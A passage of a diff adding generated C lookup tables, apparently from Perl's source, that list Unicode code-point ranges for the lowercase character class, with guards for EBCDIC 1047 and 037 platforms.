+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1DC0,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x210A,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2114,
+	0x212F,
+	0x2130,
+	0x2134,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x213E,
+	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE5,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69E,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7F8,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D51E,
+	0x1D538,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXLOWER_invlist[] = { /* for EBCDIC 037 */
+	1289,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BB,
+	0x1BD,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2E0,
+	0x2E5,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37A,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1DC0,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
